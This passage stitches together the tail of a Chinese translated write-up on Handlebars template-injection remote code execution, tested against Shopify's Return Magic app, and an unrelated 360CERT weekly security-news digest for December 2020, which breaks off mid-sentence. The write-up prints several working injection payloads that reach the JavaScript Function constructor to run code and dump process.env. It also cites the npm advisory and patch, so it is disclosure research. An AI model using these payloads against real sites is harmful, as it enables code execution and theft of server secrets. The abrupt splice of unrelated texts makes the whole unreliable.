{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
{{#with (obj.constructor.constructor "test")}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
上面的模板代码如下：
x = ''
myToString = x.constructor.bind.apply(x.constructor, [x.constructor.bind,"console.log(process.pid)"])
myToStringArr = Array(myToString)
myToStringDescriptor = Object.getOwnPropertyDescriptor(myToStringArr, 0)
Object.defineProperty(Object.prototype, "toString", myToStringDescriptor)
Object.constructor("test", this)()
当我在Shopify测试时：
Matias的Poc更加简单：
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
总而言之，我可以在Shopify Return Magic应用程序上获取RCE，其实还包括其他使用handlebars作为模板引擎的网站。
我也向npm安全团队报告了这个漏洞，随后handlebars发布禁止访问构造函数的补丁。漏洞公告：<https://www.npmjs.com/advisories/755>
### 总而言之
你能够使用下面的Poc注入到Handlebars模板中：
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}}
{{arr.pop}}
{{arr.push obj.constructor.name.constructor.bind}}
{{arr.pop}}
{{arr.push "return JSON.stringify(process.env);"}}
{{arr.pop}}
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
{{#with (obj.constructor.constructor "test")}}
{{this}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
PS：Matias有更加简单的Poc
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
对不起，本文篇幅有些长。如果你有任何问题请到推特上私信联系我：[@Zombiehelp54](https://twitter.com/Zombiehelp54) | 社区文章 |
# 安全事件周报（12.14-12.20）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 事件导览
本周收录安全事件 `40` 项，话题集中在 `网络攻击` 、 `勒索软件` 方面，涉及的组织有： `SolarWinds` 、 `美国能源部`
、`Microsoft` 、 `美国核安全局` 等。供应链攻击爆发，软件及设备提供商要大力提升自我的安全能力。对此，360CERT建议使用
`360安全卫士` 进行病毒检测、使用 `360安全分析响应平台` 进行威胁流量检测，使用 `360城市级网络安全监测服务QUAKE`
进行资产测绘，做好资产自查以及预防工作，以免遭受黑客攻击。
恶意程序 | 等级
---|---
Symrise在Clop勒索软件攻击后停止了生产 | ★★★★★
黑客组织滥用Google和Facebook服务部署恶意软件 | ★★★★
勒索软件攻击导致密苏里市账单延迟 | ★★★★
挪威邮轮公司Hurtigruten遭到勒索软件袭击 | ★★★★
Gitpaste-12蠕虫扩大了攻击范围 | ★★★★
Goontact：新的针对Android和iOS用户的恶意软件 | ★★★★
Ryuk，Egregor勒索软件攻击利用SystemBC后门 | ★★★★
安装量超过三百万次的恶意扩展仍在应用商店中 | ★★★★
DoppelPaymer勒索软件正骚扰拒绝付款的受害者 | ★★★★
Agenttela恶意软件更新了数据收集功能 | ★★★★
伊朗国家黑客与Pay2Key勒索软件有关联 | ★★★★
勒索软件伪装成《赛博朋克2077》手机版 | ★★★★
新的Windows木马程序窃取浏览器凭据、Outlook文件 | ★★★
Credential Stealer针对美国、加拿大银行客户 | ★★★
数据安全 |
美国临时人力资源机构440GB的数据被泄露 | ★★★★★
世界各地医院的4500万次医疗扫描记录被泄漏 | ★★★★★
电力供应商People’s Energy被黑，泄露25万客户信息 | ★★★★
Azure Blob暴露CRM50万的客户机密文档 | ★★★★
网络攻击 |
FireEye确认SolarWinds供应链攻击 | ★★★★★
SignSight行动：针对东南亚认证机构的供应链攻击 | ★★★★★
黑客使用移动模拟器窃取数百万美元 | ★★★★★
网络钓鱼活动使用Outlook迁移邮件 | ★★★★
Subway三明治忠诚卡用户遭钓鱼诈骗 | ★★★★
用于加密货币供应链攻击的恶意RubyGems软件包 | ★★★★
美国核武器局在SolarWinds攻击中遭到黑客入侵 | ★★★★
诈骗利用移动设备模拟器从网上银行账户盗取数百万美元 | ★★★★
微软称其系统也遭到SolarWinds供应链攻击破坏 | ★★★
其它事件 |
微软和科技公司合作攻击了SolarWinds黑客使用的关键域 | ★★★★★
Medtronic MyCareLink的漏洞可让黑客接管植入心脏的设备 | ★★★★★
安装了500万次的WordPress插件存在严重漏洞 | ★★★★★
PoS终端存在任意代码执行漏洞 | ★★★★
Firefox修补了严重漏洞，该漏洞同样影响Chrome | ★★★★
惠普公司披露了服务器管理软件中的0day漏洞 | ★★★★
Bouncy Castle修复了API身份验证绕过漏洞 | ★★★★
SoReL-20M:一个包含2000万个恶意软件样本的数据集 | ★★★
严重的Golang XML解析器漏洞可以绕过SAML身份验证 | ★★★
苹果修复了iOS和iPadOS中的多个代码执行漏洞 | ★★★
研究人员把RAM变成WiFi卡，从未联网的系统中窃取数据 | ★★★
Facebook因欺诈性VPN行为被ACCC告上法庭 | ★★★
美国航空监管机构发布了安全更新 | ★★★
## 0x02 恶意程序
### Symrise在Clop勒索软件攻击后停止了生产
日期: 2020年12月20日
等级: 高
作者: Lawrence Abrams
标签: Symrise, Clop, Ransomware
2020年12月，Symrise遭受了一次Clop勒索软件攻击，据称攻击者窃取了500GB的未加密文件，并加密了近1000台设备。 `Symrise`
是全球30000多个产品中使用的香料和香料的主要开发商，包括雀巢、可口可乐和联合利华的产品。2019年，Symrise实现了34亿欧元的收入，员工超过10000人。
详情
[Flavors designer Symrise halts production after Clop ransomware
attack](https://www.bleepingcomputer.com/news/security/flavors-designer-symrise-halts-production-after-clop-ransomware-attack/)
### 黑客组织滥用Google和Facebook服务部署恶意软件
日期: 2020年12月14日
等级: 高
作者: Ionut Ilascu
标签: Molerats, Phishing, Gaza Cybergang, SharpStage, DropBook
`Molerats` 网络黑客组织在最近的鱼叉式钓鱼活动中一直使用依赖 `Dropbox` ， `GoogleDrive` 和 `Facebook`
的新的恶意软件，通过该恶意软件能执行命令、存储被盗的数据。 该黑客组织从2012年就开始活跃。 Molerats在最近的钓鱼攻击中使用了两个新的后门，
`SharpStage` 和 `DropBook` ，以及 `MoleNet` 。
详情
[Hacking group’s new malware abuses Google and Facebook
services](https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/)
### 勒索软件攻击导致密苏里市账单延迟
日期: 2020年12月15日
等级: 高
作者: Lawrence Abrams
标签: The City of Independence, Ransomware, Attack
密苏里州独立市2020年12月7日遭遇勒索软件攻击，迫使他们在攻击中关闭自己的IT系统。
研究人员表示，他们正在执行完整的系统扫描，并从可用备份中还原被加密的计算机。
还原的过程正在进一步恢复城市的服务，包括发送公用事业账单和在线支付等服务。
详情
[Ransomware attack causing billing delays for Missouri
city](https://www.bleepingcomputer.com/news/security/ransomware-attack-causing-billing-delays-for-missouri-city/)
### 挪威邮轮公司Hurtigruten遭到勒索软件袭击
日期: 2020年12月15日
等级: 高
作者: Pierluigi Paganini
标签: Hurtigruten, Norwegian, Cruise Company, Ransomware, Cyberattack
挪威邮轮公司Hurtigruten的首席数字官在一份声明中说：“Hurtigruten的整个全球数字基础设施都受到了勒索软件的攻击，这是一次严重的攻击。”
该公司在2020年12月12日晚发现了这次攻击，该公司的系统被一个勒索软件感染。
该公司的网站被攻击后显示一条消息，“抱歉，该网站目前无法正常工作”。
详情
[Norwegian cruise company Hurtigruten was hit by a
ransomware](https://securityaffairs.co/wordpress/112320/malware/cruise-company-hurtigruten-ransomware.html)
### Gitpaste-12蠕虫扩大了攻击范围
日期: 2020年12月15日
等级: 高
作者: Lindsey O'Donnell
标签: GitHub, Monero, Gitpaste-12, Worm, Pastebin
`Gitpaste-12` 僵尸网络蠕虫主要针对Web应用程序，IP摄像机和路由器。 `Gitpaste-12` 是在2020年10月下旬针对基于
`Linux` 的服务器和物联网（ `IoT` ）设备的攻击中首次发现的，该僵尸网络利用 `GitHub` 和 `Pastebin`
存储恶意组件代码，拥有至少12个不同的攻击模块，并包括一个针对 `Monero` 加密货币的模块。
详情
[Gitpaste-12 Worm Widens Set of Exploits in New
Attacks](https://threatpost.com/gitpaste-12-worm-widens-exploits/162290/)
### Goontact：新的针对Android和iOS用户的恶意软件
日期: 2020年12月16日
等级: 高
作者: Catalin Cimpanu
标签: Android, iOS, Lookout, Goontact, Malware
安全研究人员发现了一种新的具有间谍和监视功能的恶意软件，目前存在于 `Android` 和 `iOS` 系统中。 这个名为`Goontact`
的恶意软件能够从受害者那里收集数据，例如电话联系人、短信、照片和位置信息等。 移动安全公司`Lookout` 检测到 `Goontact`
恶意软件目前通过第三方站点进行分发，这些第三方站点推广免费即时消息传递应用程序。
详情
[New Goontact spyware discovered targeting Android and iOS
users](https://www.zdnet.com/article/new-goontact-spyware-discovered-targeting-android-and-ios-users/)
### Ryuk，Egregor勒索软件攻击利用SystemBC后门
日期: 2020年12月16日
等级: 高
作者: Lindsey O'Donnell
标签: SystemBC, Tor, Ransomware, C2
商品恶意软件后门 `SystemBC`
现已发展到可以自动化利用，并使用匿名化的Tor平台，一旦勒索软件被执行，勒索软件参与者就会使用后门在受害者系统上建立一个持久的连接。
这使得网络犯罪攻击者更容易部署后门，并且能够隐藏命令和控制（C2）服务器通信的地址。 SystemBC是一种代理和远程管理工具，于2019年首次被发现。
详情
[Ryuk, Egregor Ransomware Attacks Leverage SystemBC
Backdoor](https://threatpost.com/ryuk-egregor-ransomware-systembc-backdoor/162333/)
### 安装量超过三百万次的恶意扩展仍在应用商店中
日期: 2020年12月16日
等级: 高
作者: Sergiu Gatlan
标签: Edge, Microsoft, Malicious Extensions, Phishing Sites, Redirect
Chrome和Edge浏览器的恶意扩展程序安装量超过300万，其中大多数仍可在 `ChromeWebStore` 和 `MicrosoftEdge`
附加组件门户上安装，它们能够窃取用户的信息并将其重定向到钓鱼网站。 Avast威胁情报研究人员发现恶意软件扩展被设计成看起来像 `Instagram` 、
`Facebook` 、 `Vimeo` 和其他知名在线平台的附加组件。 虽然 `Avast`
在2020年11月就发现了这些扩展，但他们估计这些扩展可能已经存在多年，因为一些 `Chrome`
应用商店的评论者称，从2018年12月开始，链接就被劫持。
详情
[Malicious Chrome, Edge extensions with 3M installs still in
stores](https://www.bleepingcomputer.com/news/security/malicious-chrome-edge-extensions-with-3m-installs-still-in-stores/)
### DoppelPaymer勒索软件正骚扰拒绝付款的受害者
日期: 2020年12月16日
等级: 高
作者: Catalin Cimpanu
标签: DoppelPaymer, FBI, Ransomware, Ransom
美国联邦调查局说，它们已经监测到 `DoppelPaymer`
勒索软件团伙采取了匿名电话的方式，通过恐吓强迫受害者支付赎金，勒索团伙对受害者公司的其员工甚至亲属的威胁不断升级。 美国联邦调查局称，
`Doppelpaymer` 是最早的勒索软件变体之一。
美国联邦调查局建议受害者保护他们的网络，以防止被入侵，在被攻击后，建议受害者通知当局，并尽量避免支付赎金，因为这会激励攻击者进行新的入侵，使他们轻松获利。
详情
[FBI says DoppelPaymer ransomware gang is harassing victims who refuse to
pay](https://www.zdnet.com/article/fbi-says-doppelpaymer-ransomware-gang-is-harassing-victims-who-refuse-to-pay/)
### Agenttela恶意软件更新了数据收集功能
日期: 2020年12月16日
等级: 高
作者: Prajeet Nair
标签: AgentTesla, Cofense, Information Stealing, Credentials
据安全公司 `Cofense` 发布的一份报告称， `AgentTesla`
信息窃取软件的升级版本拥有额外的数据收集功能，包括锁定更多浏览器和电子邮件客户端的能力。 `AgentTesla`
最初是在2014年被安全研究人员发现的。研究人员在8月份发现，该恶意软件现在可以从vpn、网络浏览器、FTP文件和电子邮件客户端窃取凭证。
详情
[AgentTesla Malware Has Updated Data Harvesting
Capabilities](https://www.databreachtoday.com/agenttesla-malware-has-updated-data-harvesting-capabilities-a-15617)
### 伊朗国家黑客与Pay2Key勒索软件有关联
日期: 2020年12月17日
等级: 高
作者: Sergiu Gatlan
标签: Fox Kitten, Pay2Key, Israel, Ransomware
伊朗国家黑客 `FoxKitten` 与 `Pay2Key` 勒索软件联系在一起，该组织最近开始针对以色列和巴西的组织。 威胁情报公司 `ClearSky`
表示，他们表示大概率的情况下， `Pay2Key` 是由伊朗 `APT` 团体 `FoxKitten`
运营的，该组织于2020年11月至12月开始了新一波的攻击，涉及数十家以色列公司。
详情
[Iranian nation-state hackers linked to Pay2Key
ransomware](https://www.bleepingcomputer.com/news/security/iranian-nation-state-hackers-linked-to-pay2key-ransomware/)
### 勒索软件伪装成《赛博朋克2077》手机版
日期: 2020年12月17日
等级: 高
作者: Lawrence Abrams
标签: Windows, Android, Cyberpunk 2077, CoderWare, Ransomware
攻击者正在为《赛博朋克2077》游戏分发伪造的 `Windows` 和 `Android` 安装程序，该《赛博朋克2077》会安装一个自称为
`CoderWare` 的勒索软件。 为了诱骗用户安装恶意软件，攻击者通常将恶意软件作为游戏安装程序、作弊工具和版权软件的破解程序进行分发。
详情
[Ransomware masquerades as mobile version of Cyberpunk
2077](https://www.bleepingcomputer.com/news/security/ransomware-masquerades-as-mobile-version-of-cyberpunk-2077/)
### 新的Windows木马程序窃取浏览器凭据、Outlook文件
日期: 2020年12月14日
等级: 中
作者: Lindsey O'Donnell
标签: Microsoft, Windows, PyMicropsia, Trojan, Information Stealing
研究人员发现了一种新的名为 `PyMicropsia` 的信息窃取木马，该木马是由威胁组织 `AridViper` 开发的，
`AridViper`以针对中东的组织为目标而闻名，它的目标是 `MicrosoftWindows`
系统，该木马具有大量的数据过滤功能，能够收集浏览器的凭据，窃取Outlook文件。
详情
[New Windows Trojan Steals Browser Credentials, Outlook
Files](https://threatpost.com/windows-trojan-steals-browser-credentials-outlook-files/162223/)
### Credential Stealer针对美国、加拿大银行客户
日期: 2020年12月17日
等级: 中
来源: TRENDMICRO
标签: AHK, VBA, Credential Stealer, Excel
2020年12月中旬，研究人员发现了一个散布证书窃取程序的活动，这从2020年初就开始了。恶意软件感染以恶意Excel文件开始，此文件包含AHK脚本编译器可执行文件、恶意AHK脚本文件和VisualBasicforApplications（VBA）宏。研究人员跟踪了恶意软件的命令和控制（C&C）服务器，并确定这些服务器来自美国、荷兰和瑞典。同时，恶意软件一直针对美国和加拿大的金融机构进行攻击。
详情
[Credential Stealer Targets US, Canadian Bank
Customers](https://www.trendmicro.com/en_us/research/20/l/stealth-credential-stealer-targets-us-canadian-bank-customers.html)
### 相关安全建议
1\. 在网络边界部署安全设备，如防火墙、IDS、邮件网关等
2\. 减少外网资源和不相关的业务，降低被攻击的风险
3\. 及时对系统及各个服务组件进行版本升级和补丁更新
4\. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
5\. 注重内部员工安全培训
6\. 主机集成化管理，出现威胁及时断网
7\. 勒索中招后，应及时断网，并第一时间联系安全部门或公司进行应急处理
8\. 各主机安装EDR产品，及时检测威胁
9\. 移动端不安装未知应用程序、不下载未知文件
## 0x03 数据安全
### 美国临时人力资源机构440GB的数据被泄露
日期: 2020年12月14日
等级: 高
作者: Edvardas Mikalauskas
标签: Automation Personnel Services, Data Leaked, Ransom, Hacker Forum
美国人力资源机构(AutomationPersonnelServices)的440GB档案在一个黑客论坛上被泄露。
AutomationPersonnelServices公司表示，目前正在进行调查，受影响数据的范围和性质尚未得到确认。
被泄漏的文件包含公司的机密数据、用户信息、合作伙伴和员工有关的敏感文件，例如薪资数据以及各种法律文件。
该归档文件于11月24日被泄露，被泄漏的原因是AutomationPersonnelServices拒绝支付赎金。
详情
[440GB of data from US-based temporary staffing agency leaked on hacker
forum](https://cybernews.com/security/440gb-of-data-from-us-based-temporary-staffing-agency-leaked-on-hacker-forum/)
### 世界各地医院的4500万次医疗扫描记录被泄漏
日期: 2020年12月15日
等级: 高
作者: Gareth Corfield
标签: CybelAngel, Data Leaked, Medical Scans, X-rays
整个2020年，有2000台医疗服务器处于未授权的状态，服务器包含4500万张X射线图像和其他医学扫描图像，没有任何安全保护措施，可以被任意访问。
其中，泄漏的数据包括患者的姓名，出生日期，地址，身高，体重，诊断的个人健康信息等。
研究人员称，不仅敏感的个人信息被泄漏，而且恶意攻击者还访问了这些服务器并且在服务器上安装了恶意软件。
详情
[45 million medical scans from hospitals all over the world left exposed
online for anyone to view – some servers were laced with malware • The
Register](https://www.theregister.com/2020/12/15/dicom_45_million_medical_scans_unsecured/)
### 电力供应商People’s Energy被黑，泄露25万客户信息
日期: 2020年12月17日
等级: 高
作者: Paul Kunert
标签: People’s Energy, Steal Data
可再生电力和天然气供应商人民能源公司（People’sEnergy）告诉其25万多名客户，其IT系统漏洞被攻击者利用，客户信息已被泄漏。这些数据包括会员姓名、家庭住址、电子邮件地址、电话号码、出生日期、人们的能源账户号码、电价详情和电表识别号。
详情
[Ethical power supplier People’s Energy hacked, 250,000 customers’ personal
info accessed](https://www.theregister.com/2020/12/17/peoples_energy_hacked/)
### Azure Blob暴露CRM50万的客户机密文档
日期: 2020年12月18日
等级: 高
作者: Gareth Corfield
标签: Azure Blob, Unsecured Database
一家商业应用开发商的 `MicrosoftAzureBlob`
未做安全认证，导致超过50万的客户机密和敏感文件暴露于公共互联网中。泄漏的信息包括职业健康评估，伦敦劳埃德（LloydsofLondon）承保的美国公司的保险索赔文件，以及大律师对申请晋升的初级同事的私人意见，以及联邦快递的运输安全文件，食品公司Huel，投资管理公司的内部投诉以及无数其他文件。
详情
[Unsecured Azure blob exposed 500,000+ highly confidential docs from UK firm’s
CRM
customers](https://www.theregister.com/2020/12/18/probase_unsecured_azure_blob/)
### 相关安全建议
1\. 强烈建议数据库等服务放置在外网无法访问的位置，若必须放在公网，务必实施严格的访问控制措施
2\. 对于托管的云服务器(VPS)或者云数据库，务必做好防火墙策略以及身份认证等相关设置
3\. 管控内部员工数据使用规范，谨防数据泄露并及时做相关处理
4\. 及时备份数据并确保数据安全
5\. 发生数据泄漏事件后，及时进行密码更改等相关安全措施
## 0x04 网络攻击
### FireEye确认SolarWinds供应链攻击
日期: 2020年12月14日
等级: 高
作者: Catalin Cimpanu
标签: SolarWinds, Orion, US, FireEye, Malware
美国安全公司FireEye2020年12月14日表示，黑客已经破坏了软件提供商SolarWinds `，然后在其` Orion
`软件部署了带有恶意软件的更新程序，以感染多家美国公司和政府网络。` FireEye `的报告是在` 美国财政部 `和` 美国商务部国家电信与信息管理局
`（NTIA）遭到入侵之后发布的。此次` SolarWindows `供应链攻击也是黑客入侵` FireEye`网络的手段。
详情
[FireEye confirms SolarWinds supply chain
attack](https://www.zdnet.com/article/fireeye-confirms-solarwinds-supply-chain-attack/)
### SignSight行动：针对东南亚认证机构的供应链攻击
日期: 2020年12月17日
等级: 高
作者: IgnacioSanmillan
标签: SignSight, Southeast Asia, Supply‑chain Attack, Backdoor
在 `AbleDesktop`
软件的供应链攻击发生几周之后，越南政府认证局（VGCA）的网站上就发生了另一起类似的攻击，攻击者修改了两个可以从该网站下载的软件安装程序，并添加了后门程序。
`ESET` 的研究人员于2020年12月上旬发现了这种新的供应链攻击，并通知了受感染的组织和 `VNCERT` 。
VGCA表示，他们已经意识到了这次攻击，并通知了下载该木马软件的用户。
详情
[Operation SignSight: Supply‑chain attack against a certification authority in
Southeast Asia](https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/)
### 黑客使用移动模拟器窃取数百万美元
日期: 2020年12月17日
等级: 高
作者: Akshaya Asokan
标签: IBM, Mobile Emulators, Spoof Banking, Hacking Group
`IBMTrusteer` 报告说，一个黑客组织正在使用移动模拟器来欺骗银行客户的移动设备，并从美国和欧洲的银行中窃取了数百万美元。
`IBMSecurity` 的执行安全顾问 `LimorKessem` 说，尽管已经通知了受到黑客攻击的银行，但第二波攻击可能已经开始。
开发人员通常使用移动模拟器来测试各种设备类型上的应用程序和功能。 在IBM调查的案例中，攻击者使用了20个移动模拟器，欺骗了超过1.6万部设备。
详情
[Hackers Use Mobile Emulators to Steal
Millions](https://www.databreachtoday.com/hackers-use-mobile-emulators-to-steal-millions-a-15623)
### 网络钓鱼活动使用Outlook迁移邮件
日期: 2020年12月14日
等级: 高
作者: Akshaya Asokan
标签: Microsoft, Outlook, Abnormal Security, Phishing
`AbnormalSecurity` 的研究人员表示，一场旨在获取 `Office365` 证书的钓鱼活动使用微软 `Outlook` 迁移信息。
报告称，这些被设计成看起来像是来自受害者组织IT部门的钓鱼邮件称，收件人必须更新到最新版本的 `MicrosoftOutlook`。
当受害者点击网络钓鱼邮件中的链接时，他们将被重定向到一个恶意域，该域显示一个旧版本的 `Outlook` 登录页面，该页面能窃取用户名和密码等凭据。
详情
[Phishing Campaign Uses Outlook Migration
Message](https://www.databreachtoday.com/phishing-campaign-uses-outlook-migration-message-a-15587)
### Subway三明治忠诚卡用户遭钓鱼诈骗
日期: 2020年12月15日
等级: 高
作者: Becky Bracken
标签: Subway, Sophos, Loyalty Card, Phishing, U.K., Ireland
Subway三明治的忠诚卡会员是最近网络犯罪的受害者之一。 `Sophos` 的研究人员发现，网络钓鱼攻击的目标是英国和爱尔兰的 `Subway`
忠诚卡会员，目的是诱骗他们下载恶意软件。 此次钓鱼攻击的手段是让受害者改变他们 `Excel` 安全设置，允许恶意行为者运行宏并向受害者的设备发送恶意软件。
该代码从隐藏的文件表创建 `URL` ，然后 `URL` 抓取恶意软件。
详情
[Subway Sandwich Loyalty-Card Users Suffer Ham-Handed Phishing
Scam](https://threatpost.com/subway-loyalty-card-phishing-scam/162308/)
### 用于加密货币供应链攻击的恶意RubyGems软件包
日期: 2020年12月16日
等级: 高
作者: Lawrence Abrams
标签: RubyGems, Supply Chain Attack, Packages, Ruby, GEM
新的恶意软件包RubyGems正在利用供应链攻击，并从毫无防备的用户那里窃取加密货币。
RubyGems是Ruby编程语言的软件包管理器，允许开发人员下载其他人开发的代码并将其集成到他们的程序中。 由于任何人都可以将 `Gem` 上传到
`RubyGems` 存储库，因此攻击者可以将恶意软件包上传到存储库。
详情
[Malicious RubyGems packages used in cryptocurrency supply chain
attack](https://www.bleepingcomputer.com/news/security/malicious-rubygems-packages-used-in-cryptocurrency-supply-chain-attack/)
### 美国核武器局在SolarWinds攻击中遭到黑客入侵
日期: 2020年12月17日
等级: 高
作者: Tara Seals
标签: NNSA, FERC, SolarWinds
美国能源部及其负责维持美国核储备的国家核安全局（NNSA）遭受到SolarWinds供应链攻击。美国能源部官方消息人士称，他们的部门受到了攻击者的渗透，包括对国家核安全局（NNSA）、联邦能源管理委员会（FERC）、华盛顿和新墨西哥州的桑迪亚和洛斯阿拉莫斯国家实验室，以及能源部里士兰办事处。
详情
[Nuclear Weapons Agency Hacked in Widening Cyberattack –
Report](https://threatpost.com/nuclear-weapons-agency-hacked-cyberattack/162387/)
### 诈骗利用移动设备模拟器从网上银行账户盗取数百万美元
日期: 2020年12月20日
等级: 高
作者: Pierluigi Paganini
标签: Fraud Operation, Online Bank, Mobile Device Emulators
IBMTrusteer的研究人员发现了一个大规模的欺诈行为，罪犯利用移动设备仿真器网络，在几天内从网上银行账户盗取数百万美元。这些网络犯罪分子使用了大约20个移动设备模拟器来模拟16000多个客户的手机，这些客户的移动银行账户已经被泄露。据专家称，这是有史以来规模最大的银行欺诈行动之一。
详情
[A massive fraud operation used mobile device emulators to steal millions from
online bank accounts](https://securityaffairs.co/wordpress/112487/cyber-crime/massive-fraud-operation.html)
### 微软称其系统也遭到SolarWinds供应链攻击破坏
日期: 2020年12月17日
等级: 中
作者: The Hacker News
标签: SolarWinds, Microsoft, Supply Chain
微软证实其受到了SolarWinds供应链攻击的影响，目前来看，此事件的范围，复杂程度和影响可能比以前想象的要广泛得多。路透社还援引知情人士的话称，微软沦陷的产品随后被利用来打击其他受害者。不过，微软否认了该攻击已渗透到其生产系统中，其客户不会受到影响
详情
[Microsoft Says Its Systems Were Also Breached in Massive SolarWinds
Hack](https://thehackernews.com/2020/12/microsoft-says-its-systems-were-also.html)
### 相关安全建议
1\. 软硬件提供商要提升自我防护能力，保障供应链的安全
2\. 做好资产收集整理工作，关闭不必要且有风险的外网端口和服务，及时发现外网问题
3\. 主机集成化管理，出现威胁及时断网
4\. 如果允许，暂时关闭攻击影响的相关业务，积极对相关系统进行安全维护和更新，将损失降到最小
5\. 移动端不安装未知应用程序、不下载未知文件
## 0x05 其它事件
### 微软和科技公司合作攻击了SolarWinds黑客使用的关键域
日期: 2020年12月15日
等级: 高
作者: Catalin Cimpanu
标签: Microsoft, SolarWinds, ZDNet
2020年12月15日，微软和科技公司联盟，攻破了SolarWinds黑客事件中起着核心作用的域。 该域名是`avsvmcloud.com`
。它作为命令和控制（C&C）服务器，通过公司 `Orion` 应用程序的木马更新向大约18,000个`SolarWinds` 客户发送了恶意软件。
`SolarWindsOrion` 在2020年3月至2020年6月之间发布了从2019.4到2020.2.1的更新版本，其中包含一种名为
`SUNBURST` （也称为 `Solorigate` ）的恶意软件。
详情
[Microsoft and industry partners seize key domain used in SolarWinds
hack](https://www.zdnet.com/article/microsoft-and-industry-partners-seize-key-domain-used-in-solarwinds-hack/)
### Medtronic MyCareLink的漏洞可让黑客接管植入心脏的设备
日期: 2020年12月15日
等级: 高
作者: Pierluigi Paganini
标签: Medtronic, Cardiac Devices, Vulnerability
美敦力公司（Medtronic）的 `MyCareLinkSmart25000PatientReaderReader`
产品存在漏洞，攻击者可以利用该漏洞控制配对心脏的设备。
MyCareLinkSmart25000PatientReader是Medtronic设计的平台，可从患者植入的心脏设备中收集数据并将其传输到MedtronicCareLink网络。
研究人员发现了三个漏洞，可以利用这些漏洞来修改或伪造从植入的心脏设备接收到的数据。
这些漏洞还可能使远程攻击者能够控制配对的心脏设备，并在MCL智能患者读取器上执行任意代码。
详情
[Flaws in Medtronic MyCareLink can allow attackers to take over implanted
cardiac
devices](https://securityaffairs.co/wordpress/112328/hacking/medtronic-mycarelink-flaws.html)
### 安装了500万次的WordPress插件存在严重漏洞
日期: 2020年12月17日
等级: 高
作者: Ax Sharma
标签: WordPress, Plugin, Contact Form 7, Patch, File Upload Vulnerability
`WordPress` 插件背后的团队披露了一个严重的文件上传漏洞，并发布了一个补丁。 易受攻击的插件 `ContactForm7`
被安装了超过500万次，因此对于 `WordPress` 网站所有者来说，此次紧急更新是必要的。 `ContactForm7`
插件披露了一个不受限制的文件上传漏洞，攻击者可以利用该漏洞在上传文件时绕过 `ContactForm7` 的文件名保护措施。
目前 `WordPress` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
详情
[WordPress plugin with 5 million installs has a critical
vulnerability](https://www.bleepingcomputer.com/news/security/wordpress-plugin-with-5-million-installs-has-a-critical-vulnerability/)
### PoS终端存在任意代码执行漏洞
日期: 2020年12月15日
等级: 高
作者: GURUBARAN S
标签: PoS, Verifone, Ingenico, Vulnerability, Code Execute
研究人员发现了两个最大的销售点（PoS）供应商 `Verifone` 和 `Ingenico` 的严重漏洞。 受影响的设备是`VerifoneVX520`
， `VerifoneMX` 系列和 `IngenicoTelium2` 系列。
在使用默认密码的设备上，攻击者能够通过二进制漏洞（例如，堆栈溢出和缓冲区溢出）执行任意代码。攻击者能够利用PoS终端漏洞发送任意数据包、克隆卡、克隆终端并安装持久性的恶意软件。
详情
[Flaws with PoS Terminals Let Attackers Execute Arbitrary
Code](https://gbhackers.com/flaws-with-pos-terminals/)
### Firefox修补了严重漏洞，该漏洞同样影响Chrome
日期: 2020年12月15日
等级: 高
作者: Tom Spring
标签: Firefox, Mozilla, Patches, Vulnerability
Mozilla基金会(MozillaFoundation)2020年12月15日发布的 `Firefox` 网络浏览器更新修复了一个严重漏洞和几个高危漏洞。
除了CVE-2020-16042漏洞，其余6个高危漏洞被修复。 Firefox中的严重漏洞在Chrome浏览器安全更新中也得到了强调，该漏洞被评为严重漏洞。
Firefox和Chrome仍未完全公布CVE-2020-16042的细节，仅将其列为内存漏洞。
详情
[Firefox Patches Critical Mystery Bug, Also Impacting Google
Chrome](https://threatpost.com/firefox-patches-critical-mystery-bug-also-impacting-google-chrome/162294/)
### 惠普公司披露了服务器管理软件中的0day漏洞
日期: 2020年12月16日
等级: 高
作者: Sergiu Gatlan
标签: Hewlett Packard Enterprise, Windows, Linux, Vulnerability, RCE
惠普公司(HewlettPackardEnterprise,HPE)披露了其Windows和Linux的专有HPESystemsInsightManager(SIM)软件最新版本中的0day漏洞。
尽管此远程代码执行（RCE）漏洞尚未提供安全更新，但HPE已提供Windows的缓解方案，并正在努力修复该漏洞。
详情
[HPE discloses critical zero-day in server management
software](https://www.bleepingcomputer.com/news/security/hpe-discloses-critical-zero-day-in-server-management-software/)
### Bouncy Castle修复了API身份验证绕过漏洞
日期: 2020年12月17日
等级: 高
作者: Ax Sharma
标签: Bouncy Castle, Authentication Bypass, Vulnerability, Cryptography API
`BouncyCastle` 是一个流行的开源密码库，该密码库中存在严重的认证绕过漏洞。
CVE-2020-28052漏洞被成功利用后，攻击者可获得对用户帐户或管理员帐户的访问权限。 `BouncyCastle` 是 `Java` 和 `C#`
